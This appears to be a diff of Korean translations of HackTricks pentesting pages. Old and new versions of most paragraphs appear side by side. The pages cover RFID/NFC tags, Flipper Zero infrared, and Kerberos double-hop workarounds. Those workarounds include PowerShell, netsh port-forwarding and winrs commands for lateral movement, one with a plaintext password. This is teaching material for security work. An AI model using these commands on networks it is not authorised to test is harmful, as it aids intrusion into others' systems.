**고주파 13.56 MHz 태그는 표준 및 프로토콜의 집합**입니다. 일반적으로 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)로 알려져 있지만 항상 정확하지는 않습니다. 물리적 및 논리적 수준에서 사용되는 기본 프로토콜 세트는 ISO 14443입니다. 고수준 프로토콜 및 ISO 19092와 같은 대체 표준은 이를 기반으로 합니다. 많은 사람들은 이 기술을 13.56 MHz 주파수에서 작동하는 장치를 위한 용어인 **근거리 통신 (NFC)**로 착각하기도 합니다.
|
||||
실제로 저주파 프로토콜은 훨씬 더 많습니다. 그러나 이들은 모두 물리적 계층에서 동일한 변조를 사용하며, 나열된 프로토콜의 변형으로 간주될 수 있습니다.
|
||||
|
||||
### Attack
|
||||
|
||||
You can **attack these Tags with the Flipper Zero**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
||||
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## High-Frequency RFID Tags (13.56 MHz)
|
||||
|
||||
**고주파 태그**는 암호화, 대규모 양방향 데이터 전송, 인증 등이 필요할 때 더 복잡한 판독기-태그 상호작용에 사용됩니다.\
|
||||
일반적으로 은행 카드, 대중 교통 및 기타 보안 패스에서 발견됩니다.
|
||||
|
||||
**고주파 13.56 MHz 태그는 일련의 표준 및 프로토콜**입니다. 일반적으로 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)라고 불리지만 항상 정확한 것은 아닙니다. 물리적 및 논리적 수준에서 사용되는 기본 프로토콜 세트는 ISO 14443입니다. 고급 프로토콜과 대체 표준(예: ISO 19092)은 이를 기반으로 합니다. 많은 사람들이 이 기술을 **근거리 통신(NFC)**이라고 부르며, 이는 13.56 MHz 주파수에서 작동하는 장치에 대한 용어입니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
간단히 말해서, NFC의 아키텍처는 다음과 같이 작동합니다: 카드를 제작하는 회사가 전송 프로토콜을 선택하고 낮은 수준의 ISO 14443을 기반으로 구현합니다. 예를 들어, NXP는 Mifare라는 고수준 전송 프로토콜을 개발했습니다. 그러나 하위 수준에서 Mifare 카드는 ISO 14443-A 표준을 기반으로 합니다.
|
||||
간단히 말해, NFC의 아키텍처는 다음과 같이 작동합니다: 전송 프로토콜은 카드를 만드는 회사에 의해 선택되며 저수준 ISO 14443를 기반으로 구현됩니다. 예를 들어, NXP는 Mifare라는 자체 고급 전송 프로토콜을 발명했습니다. 그러나 낮은 수준에서 Mifare 카드는 ISO 14443-A 표준을 기반으로 합니다.
|
||||
|
||||
Flipper는 낮은 수준의 ISO 14443 프로토콜뿐만 아니라 Mifare Ultralight 데이터 전송 프로토콜과 은행 카드에서 사용되는 EMV와 상호작용할 수 있습니다. Mifare Classic 및 NFC NDEF 지원을 추가하는 작업을 진행 중입니다. NFC를 구성하는 프로토콜과 표준에 대한 철저한 조사는 나중에 별도의 문서로 제공될 예정입니다.
|
||||
Flipper는 저수준 ISO 14443 프로토콜과 Mifare Ultralight 데이터 전송 프로토콜 및 은행 카드에서 사용되는 EMV와 상호작용할 수 있습니다. Mifare Classic 및 NFC NDEF에 대한 지원 추가 작업을 진행 중입니다. NFC를 구성하는 프로토콜 및 표준에 대한 철저한 검토는 별도의 기사로 다룰 가치가 있으며, 나중에 게시할 계획입니다.
|
||||
|
||||
ISO 14443-A 표준을 기반으로 하는 모든 고주파 카드에는 고유한 칩 ID가 있습니다. 이는 카드의 일련 번호로 작동하며 네트워크 카드의 MAC 주소와 유사합니다. **일반적으로 UID는 4 또는 7바이트 길이**이지만 **10바이트까지** 될 수도 있습니다. UID는 비밀이 아니며 쉽게 읽을 수 있으며 **카드 자체에 심지어 인쇄**되기도 합니다.
|
||||
ISO 14443-A 표준을 기반으로 하는 모든 고주파 카드는 고유한 칩 ID를 가지고 있습니다. 이는 카드의 일련 번호로 작용하며, 네트워크 카드의 MAC 주소와 유사합니다. **일반적으로 UID는 4 또는 7 바이트 길이**이지만 드물게 **10 바이트까지** 갈 수 있습니다. UID는 비밀이 아니며 쉽게 읽을 수 있으며, **때때로 카드 자체에 인쇄되어 있습니다**.
|
||||
|
||||
UID를 사용하여 인증하고 액세스를 허용하는 많은 출입 제어 시스템이 있습니다. 때로는 RFID 태그가 암호화를 지원할 때에도 이런 일이 발생합니다. 이러한 **오용**은 보안 측면에서 **125 kHz 카드**와 유사한 수준으로 낮춥니다. 가상 카드 (예: Apple Pay)는 동적 UID를 사용하여 전화 소유자가 결제 앱으로 문을 열지 않도록 합니다.
|
||||
UID에 의존하여 **인증 및 접근 권한 부여**를 수행하는 많은 출입 통제 시스템이 있습니다. 때때로 RFID 태그가 **암호화를 지원**할 때도 **이런 오용**이 발생합니다. 이러한 **오용**은 보안 측면에서 **125 kHz 카드** 수준으로 떨어뜨립니다. 가상 카드(예: Apple Pay)는 동적 UID를 사용하여 전화 소유자가 결제 앱으로 문을 열지 않도록 합니다.
|
||||
|
||||
* **짧은 범위** - 고주파 카드는 리더기에 가까이 놓여야 하도록 특별히 설계되었습니다. 이는 무단 상호작용으로부터 카드를 보호하는 데도 도움이 됩니다. 우리가 달성한 최대 읽기 범위는 약 15cm이었으며, 이는 고급 범위 리더기를 사용한 결과입니다.
|
||||
* **고급 프로토콜** - 424 kbps까지의 데이터 전송 속도는 완전한 양방향 데이터 전송이 가능한 복잡한 프로토콜을 지원합니다. 이는 **암호화**, 데이터 전송 등을 가능하게 합니다.
|
||||
* **높은 보안성** - 고주파 비접촉식 카드는 스마트 카드에 뒤지지 않는 보안성을 가지고 있습니다. AES와 같은 암호화 강도가 높은 알고리즘을 지원하고 비대칭 암호화를 구현하는 카드도 있습니다.
|
||||
* **짧은 범위** — 고주파 카드는 판독기에 가까이 배치되어야 하도록 특별히 설계되었습니다. 이는 카드가 무단 상호작용으로부터 보호되는 데도 도움이 됩니다. 우리가 달성한 최대 읽기 범위는 약 15cm였으며, 이는 맞춤형 고범위 판독기를 사용한 경우입니다.
|
||||
* **고급 프로토콜** — 데이터 전송 속도가 최대 424 kbps로 복잡한 프로토콜을 허용하며, 완전한 양방향 데이터 전송이 가능합니다. 이는 **암호화**, 데이터 전송 등을 가능하게 합니다.
|
||||
* **높은 보안** — 고주파 비접촉 카드가 스마트 카드에 비해 열등하지 않습니다. AES와 같은 암호적으로 강력한 알고리즘을 지원하고 비대칭 암호화를 구현하는 카드가 있습니다.
|
||||
|
||||
### 공격
|
||||
### Attack
|
||||
|
||||
Flipper Zero를 사용하여 이러한 태그를 **공격**할 수 있습니다:
|
||||
You can **attack these Tags with the Flipper Zero**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
|
||||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
또는 **proxmark**를 사용할 수도 있습니다:
|
||||
Or using the **proxmark**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
|
||||
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하고 계신가요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* 독점적인 [**NFT 컬렉션인 The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **저를 팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **hacktricks repo**와 **hacktricks-cloud repo**에 PR을 제출하여 **당신의 해킹 기교를 공유**하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# FZ - 적외선
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 기여하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 소개 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
더 많은 정보를 원하시면 적외선이 작동하는 방법을 확인하세요:
|
||||
적외선 작동 방식에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="../infrared.md" %}
|
||||
[infrared.md](../infrared.md)
|
||||
|
@ -22,27 +25,42 @@
|
|||
|
||||
## Flipper Zero의 IR 신호 수신기 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Flipper는 **IR 리모컨에서 신호를 가로챌 수 있는** 디지털 IR 신호 수신기 TSOP를 사용합니다. Xiaomi와 같은 **일부 스마트폰**도 IR 포트를 가지고 있지만, **대부분은 신호를 전송만** 할 뿐 **수신할 수 없습니다**.
|
||||
Flipper는 **IR 리모컨의 신호를 가로챌 수 있는** 디지털 IR 신호 수신기 TSOP를 사용합니다. Xiaomi와 같은 일부 **스마트폰**에도 IR 포트가 있지만, **대부분은 신호를 전송만 할 수 있으며** 수신할 수는 없습니다.
|
||||
|
||||
Flipper 적외선 **수신기는 상당히 민감**합니다. TV와 리모컨 사이의 **어딘가에 있으면서도 신호를 잡을 수** 있습니다. Flipper의 IR 포트를 리모컨에 직접 향하게 할 필요는 없습니다. 누군가가 TV 근처에서 채널을 변경하는 동안에도 Flipper와 당신이 멀리 떨어져 있는 경우 유용합니다.
|
||||
Flipper의 적외선 **수신기는 매우 민감합니다**. 리모컨과 TV 사이의 **어딘가에 있는 동안에도 신호를 잡을 수 있습니다**. 리모컨을 Flipper의 IR 포트에 직접 겨냥할 필요는 없습니다. 이는 누군가 TV 근처에서 채널을 변경할 때 유용하며, 당신과 Flipper는 어느 정도 거리가 있을 수 있습니다.
|
||||
|
||||
**적외선의 디코딩**은 **소프트웨어** 측면에서 발생하기 때문에 Flipper Zero는 잠재적으로 **어떤 IR 리모컨 코드의 수신 및 송신**을 지원합니다. **인식할 수 없는** 프로토콜의 경우 - **수신된 대로 원시 신호를 기록하고 재생**합니다.
|
||||
**적외선 신호의 디코딩**은 **소프트웨어** 측에서 이루어지므로, Flipper Zero는 **모든 IR 리모컨 코드의 수신 및 전송을 지원할 수 있습니다**. 인식할 수 없는 **알 수 없는** 프로토콜의 경우, Flipper는 수신한 그대로의 원시 신호를 **기록하고 재생**합니다.
|
||||
|
||||
## 동작
|
||||
## 작업
|
||||
|
||||
### 유니버설 리모컨
|
||||
|
||||
Flipper Zero는 **모든 TV, 에어컨 또는 미디어 센터를 제어하는 유니버설 리모컨**으로 사용할 수 있습니다. 이 모드에서 Flipper는 SD 카드의 사전에 따라 모든 지원 제조업체의 모든 알려진 코드를 **브루트포스**합니다. 레스토랑 TV를 끄기 위해 특정 리모컨을 선택할 필요가 없습니다.
|
||||
Flipper Zero는 **모든 TV, 에어컨 또는 미디어 센터를 제어하는 유니버설 리모컨**으로 사용할 수 있습니다. 이 모드에서 Flipper는 **SD 카드의 사전**에 따라 모든 지원 제조업체의 **모든 알려진 코드**를 **무작위로 시도합니다**. 레스토랑 TV를 끄기 위해 특정 리모컨을 선택할 필요가 없습니다.
|
||||
|
||||
유니버설 리모컨 모드에서 전원 버튼을 누르면 Flipper는 알고 있는 모든 TV(Sony, Samsung, Panasonic 등)의 "전원 끄기" 명령을 **순차적으로 보냅니다**. TV가 신호를 받으면 반응하여 꺼집니다.
|
||||
유니버설 리모컨 모드에서 전원 버튼을 누르기만 하면 Flipper는 **알고 있는 모든 TV의 "전원 끄기"** 명령을 순차적으로 전송합니다: Sony, Samsung, Panasonic... 등. TV가 신호를 수신하면 반응하여 꺼집니다.
|
||||
|
||||
이러한 브루트 포스는 시간이 소요됩니다. 사전이 클수록 완료하는 데 더 오랜 시간이 걸립니다. TV가 정확히 어떤 신호를 인식했는지 알 수 없으므로 TV로부터 피드백이 없습니다.
|
||||
이러한 무작위 시도는 시간이 걸립니다. 사전이 클수록 완료하는 데 더 오랜 시간이 걸립니다. TV에서 피드백이 없기 때문에 TV가 정확히 어떤 신호를 인식했는지 알 수 없습니다.
|
||||
|
||||
### 새로운 리모컨 배우기
|
||||
|
||||
Flipper Zero로 **적외선 신호를 캡처**하는 것이 가능합니다. Flipper가 데이터베이스에서 **신호를 찾으면** 자동으로 **이 장치가 무엇인지 알게** 되고 상호 작용할 수 있게 해줍니다.\
|
||||
찾을 수 없는 경우, Flipper는 **신호를 저장**하고 **재생**할 수 있게 해줍니다.
|
||||
Flipper Zero로 **적외선 신호를 캡처**할 수 있습니다. 데이터베이스에서 신호를 **찾으면** Flipper는 자동으로 **이 장치가 무엇인지 알게 되고** 상호작용할 수 있게 해줍니다.\
|
||||
신호를 찾지 못하면 Flipper는 **신호를 저장**하고 **재생할 수 있게** 해줍니다.
|
||||
|
||||
## 참고 자료
|
||||
## 참고자료
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,100 +1,105 @@
|
|||
# Kerberos Double Hop Problem
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **Twitter**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 요령을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 소개
|
||||
## Introduction
|
||||
|
||||
Kerberos "Double Hop" 문제는 **Kerberos 인증을 통해 두 개의** **호핑**을 시도할 때 발생합니다. 예를 들어 **PowerShell**/**WinRM**을 사용하는 경우입니다.
|
||||
Kerberos "Double Hop" 문제는 공격자가 **PowerShell**/**WinRM**을 사용하여 **두 번의 홉**을 통해 **Kerberos 인증**을 시도할 때 발생합니다.
|
||||
|
||||
**Kerberos**를 통해 **인증**이 발생할 때 **자격 증명**이 **메모리에 캐시되지 않습니다.** 따라서 mimikatz를 실행해도 사용자의 자격 증명을 찾을 수 없습니다.
|
||||
**Kerberos**를 통해 **인증**이 발생할 때, **자격 증명**은 **메모리**에 캐시되지 않습니다. 따라서 사용자가 프로세스를 실행하고 있더라도 mimikatz를 실행하면 해당 사용자의 **자격 증명**을 찾을 수 없습니다.
|
||||
|
||||
이는 Kerberos로 연결할 때 다음 단계를 거치기 때문입니다:
|
||||
Kerberos로 연결할 때의 단계는 다음과 같습니다:
|
||||
|
||||
1. User1이 자격 증명을 제공하고 **도메인 컨트롤러**가 User1에게 Kerberos **TGT**를 반환합니다.
|
||||
2. User1이 **TGT**를 사용하여 **Server1에 연결**하기 위한 **서비스 티켓**을 요청합니다.
|
||||
3. User1이 **Server1에 연결**하고 **서비스 티켓**을 제공합니다.
|
||||
4. **Server1**에는 User1의 자격 증명이 캐시되어 있지 않거나 User1의 **TGT**가 없습니다. 따라서 Server1에서 두 번째 서버에 로그인하려고 할 때 **인증할 수 없습니다.**
|
||||
2. User1이 **TGT**를 사용하여 **Server1**에 연결하기 위한 **서비스 티켓**을 요청합니다.
|
||||
3. User1이 **Server1**에 **연결**하고 **서비스 티켓**을 제공합니다.
|
||||
4. **Server1**은 User1의 **자격 증명**이나 User1의 **TGT**를 캐시하지 않습니다. 따라서 Server1의 User1이 두 번째 서버에 로그인하려고 할 때 **인증할 수 없습니다**.
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
PC에서 **제한되지 않은 위임**이 활성화되어 있는 경우, **서버**는 액세스하는 각 사용자의 **TGT**를 **받게** 됩니다. 또한, 제한되지 않은 위임이 사용되면 아마도 **도메인 컨트롤러를** **손상시킬 수 있습니다.**\
|
||||
[**제한되지 않은 위임 페이지에서 자세한 정보 확인**](unconstrained-delegation.md).
|
||||
PC에서 **제한 없는 위임**이 활성화되어 있으면, **서버**가 접근하는 각 사용자의 **TGT**를 **얻기** 때문에 이러한 일이 발생하지 않습니다. 또한, 제한 없는 위임을 사용하면 **도메인 컨트롤러**를 **타격**할 수 있습니다.\
|
||||
[**제한 없는 위임 페이지에서 더 많은 정보**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
이 문제를 피하는 또 다른 방법은 [**안전하지 않은 것으로 알려진**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**입니다. Microsoft에 따르면:
|
||||
이 문제를 피하는 또 다른 방법은 [**상당히 안전하지 않은**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **자격 증명 보안 지원 공급자**입니다. Microsoft에서:
|
||||
|
||||
> CredSSP 인증은 로컬 컴퓨터에서 원격 컴퓨터로 사용자 자격 증명을 위임합니다. 이 관행은 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 침해당하면 자격 증명이 전달되어 네트워크 세션을 제어하는 데 사용될 수 있습니다.
|
||||
> CredSSP 인증은 로컬 컴퓨터에서 원격 컴퓨터로 사용자 자격 증명을 위임합니다. 이 관행은 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 손상되면 자격 증명이 전달될 때 해당 자격 증명을 사용하여 네트워크 세션을 제어할 수 있습니다.
|
||||
|
||||
**CredSSP**를 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 **비활성화**하는 것이 매우 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령을 사용하면 **CredSSP 상태를 확인**할 수 있으며 **WinRM**이 활성화되어 있다면 원격으로 실행할 수도 있습니다.
|
||||
보안 문제로 인해 **CredSSP**는 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 비활성화하는 것이 강력히 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령은 **CredSSP 상태를 확인**할 수 있으며, **WinRM**이 활성화되어 있으면 원격으로도 실행할 수 있습니다.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
```
|
||||
## 해결책
|
||||
## Workarounds
|
||||
|
||||
### Invoke Command
|
||||
|
||||
더블 호핑 문제를 해결하기 위해 중첩된 `Invoke-Command`를 활용하는 방법이 제시됩니다. 이 방법은 문제를 직접 해결하지는 않지만 특별한 구성이 필요하지 않는 해결책을 제공합니다. 이 접근 방식을 사용하면 초기 공격 머신에서 실행되는 PowerShell 명령 또는 처음 서버와 이전에 설정된 PS-Session을 통해 초기 서버에서 두 번째 서버에서 명령(`hostname`)을 실행할 수 있습니다. 다음은 이 작업 방법입니다:
|
||||
더블 홉 문제를 해결하기 위해 중첩된 `Invoke-Command`를 사용하는 방법이 제시됩니다. 이는 문제를 직접적으로 해결하지는 않지만 특별한 구성이 필요 없는 우회 방법을 제공합니다. 이 접근 방식은 초기 공격 머신에서 실행된 PowerShell 명령어 또는 첫 번째 서버와 이전에 설정된 PS-Session을 통해 보조 서버에서 명령어(`hostname`)를 실행할 수 있게 합니다. 방법은 다음과 같습니다:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
### 등록 PSSession 구성
|
||||
대안으로, 첫 번째 서버와 PS-Session을 설정하고 `$cred`를 사용하여 `Invoke-Command`를 실행하는 것이 작업을 중앙 집중화하는 데 권장됩니다.
|
||||
|
||||
더블 홉 문제를 우회하는 해결책으로 `Register-PSSessionConfiguration`을 `Enter-PSSession`과 함께 사용하는 것이 제안됩니다. 이 방법은 `evil-winrm`과는 다른 접근 방식을 요구하며 더블 홉 제한을 겪지 않는 세션을 허용합니다.
|
||||
### PSSession 구성 등록
|
||||
|
||||
더블 홉 문제를 우회하는 솔루션은 `Enter-PSSession`과 함께 `Register-PSSessionConfiguration`을 사용하는 것입니다. 이 방법은 `evil-winrm`과는 다른 접근 방식을 요구하며, 더블 홉 제한을 겪지 않는 세션을 허용합니다.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### 포트포워딩
|
||||
### PortForwarding
|
||||
|
||||
중간 대상의 로컬 관리자는 `netsh`를 사용하여 포트포워딩을 허용하는 규칙을 추가할 수 있으며, 이를 통해 Windows 방화벽 규칙을 추가하여 포워딩된 포트를 허용할 수 있습니다.
|
||||
중간 대상의 로컬 관리자에게 포트 포워딩은 요청을 최종 서버로 전송할 수 있게 해줍니다. `netsh`를 사용하여 포트 포워딩을 위한 규칙을 추가하고, 포워딩된 포트를 허용하기 위해 Windows 방화벽 규칙을 추가할 수 있습니다.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe`는 WinRM 요청을 전달하는 데 사용할 수 있으며 PowerShell 모니터링이 우려되는 경우 덜 감지될 수 있는 옵션으로 사용할 수 있습니다. 아래 명령은 그 사용법을 보여줍니다:
|
||||
`winrs.exe`는 WinRM 요청을 전달하는 데 사용할 수 있으며, PowerShell 모니터링이 우려되는 경우 덜 감지 가능한 옵션으로 사용할 수 있습니다. 아래 명령은 그 사용법을 보여줍니다:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
